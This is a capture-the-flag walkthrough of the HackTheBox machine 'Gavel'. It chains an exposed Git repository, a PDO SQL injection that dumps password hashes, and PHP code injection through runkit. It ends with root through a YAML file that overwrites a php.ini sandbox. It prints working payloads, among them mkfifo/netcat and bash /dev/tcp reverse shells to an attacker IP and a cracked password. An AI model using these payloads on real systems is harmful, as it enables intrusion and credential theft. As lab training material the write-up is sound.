TARGET OS: LINUX | AUTHOR: LEANDROS
Gavel is a Medium-rated Linux machine on HackTheBox that heavily emphasizes the importance of source code review and understanding how backend functions process input. My exploitation path started with finding an exposed Git repository, downloading the source code, and identifying a manual SQL Injection. From there, I analyzed how the application handled auction rules, leading to an RCE via a dangerous PHP extension. Finally, I escalated to root by bypassing a PHP sandbox restriction using a custom YAML configuration. Here is my complete mission log.
I began with my standard Nmap TCP port scan to identify the attack surface.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p22,80 <IP>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Port 80 is hosting a web server that redirects to gavel.htb. I added this to my /etc/hosts file and visited the page. It presented an auction site where users can register and log in. After registering a test account, I explored the authenticated portal and ran a Nuclei scan in the background to catch any low-hanging fruit.
nuclei -u http://gavel.htb -t http/
[git-config] [http] [medium] http://gavel.htb/.git/config
Nuclei flagged an exposed .git/config directory. This is a massive finding because it means the entire source code history of the website is accessible. I used git-dumper to clone the repository to my local machine for offline code review.
python3 git_dumper.py http://gavel.htb/.git/ gavel_repo
While reviewing the dumped source code, I noticed an interesting implementation in inventory.php. It featured a sorting form that passed a user_id and a sort parameter.
Capturing the request in BurpSuite, I noticed that changing the user_id value to `1` loaded the inventory for the admin user. However, by manipulating the user_id parameter using backticks, I realized the application was vulnerable to SQL Injection within a prepared statement context.
After doing some research on SQLi in PDO prepared statements, I crafted a payload to extract the username and password columns from the users table, separating them with a pipe character (0x7c).
curl -s -H 'Cookie: gavel_session=<COOKIE>' 'http://gavel.htb/inventory.php?user_id=x`+FROM+(SELECT+GROUP_CONCAT(username,0x7c,password)+AS+`%27x`+from+users)y;%23&sort=\?%23%00--' | grep -oP "card-title.*?strong>\K.*?<" | tr -d "<" | tr "," "\n"
auctioneer|$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS
hackerhacker|$2y$10$drCiXGmo7vA0dI2x7ewcy.d9hxgR65wwmNP1z45VRoplfKUwEez8W
...
The database dumped successfully. The user auctioneer looked like the prime target. I passed the bcrypt hash into John the Ripper using the rockyou wordlist.
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
John quickly cracked the hash, revealing the password: midnight1. I logged into the web portal using these credentials, gaining access to an admin section where I could edit auction rules.
In the admin panel, there is a field to update the "Rule" of an auction. To understand what this rule field actually does, I went back to my cloned git repository and grepped for "rule".
I discovered a critical vulnerability in includes/bid_handler.php.
$rule = $auction['rule'];
// ...
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
// ...
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
The runkit_function_add() function dynamically creates a new PHP function at runtime. Because the content of the function body is pulled directly from the user-controlled $rule variable, we can inject raw PHP code that will be executed the moment someone places a bid and triggers the ruleCheck.
I edited the rule of an auction via the web interface and injected a payload to generate a reverse shell.
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> 7777 >/tmp/f'); return false;
With a Netcat listener ready on port 7777, I switched to the user view and placed a bid on that specific auction to trigger the rule evaluation. The server executed the PHP, and I caught a reverse shell as www-data!
Because I already had the cracked password for the auctioneer account, I simply ran su auctioneer in the terminal and grabbed the user.txt flag.
Running the id command revealed that the auctioneer user belongs to a custom group called gavel-seller. I searched the filesystem for binaries associated with this group.
find / -group gavel-seller -type f 2>/dev/null
This led me to /usr/local/bin/gavel-util. Executing it showed that it accepts YAML configuration files to submit new items to the auction, and more importantly, it processes these files with root privileges.
However, when I tried to use a YAML payload containing a system() call to spawn a shell, the execution failed. The server had a PHP sandbox configured in /opt/gavel/.config/php/php.ini using the disable_functions directive to block dangerous commands like system and exec.
While system() was blocked, the file_put_contents() function was NOT blocked. Because the binary executes our YAML instructions as root, I could use file_put_contents() to completely overwrite the sandbox's php.ini file and clear out the disable_functions list.
I created a preliminary YAML payload to overwrite the configuration file and submitted it using the utility binary.
cat > /tmp/simple_modify.yaml << 'EOF'
name: simplemod
description: test
image: test.jpg
price: 1
rule_msg: test
rule: file_put_contents('/opt/gavel/.config/php/php.ini', 'disable_functions = \nopen_basedir = '); return false;
EOF
/usr/local/bin/gavel-util submit /tmp/simple_modify.yaml
The terminal printed "Item submitted for review", confirming the file write was successful. The sandbox was now disabled. I immediately crafted a second YAML file, this time using the now-unrestricted system() function to send a reverse shell to my attacking machine.
cat > /tmp/root_shell.yaml << 'EOF'
name: rootshell
description: test
image: test.jpg
price: 1
rule_msg: test
rule: system('bash -c "bash -i >& /dev/tcp/<IP>/7755 0>&1"'); return false;
EOF
/usr/local/bin/gavel-util submit /tmp/root_shell.yaml
I submitted the final YAML file, checked my Netcat listener, and was greeted with a root prompt. The machine was successfully rooted, and I retrieved the final flag.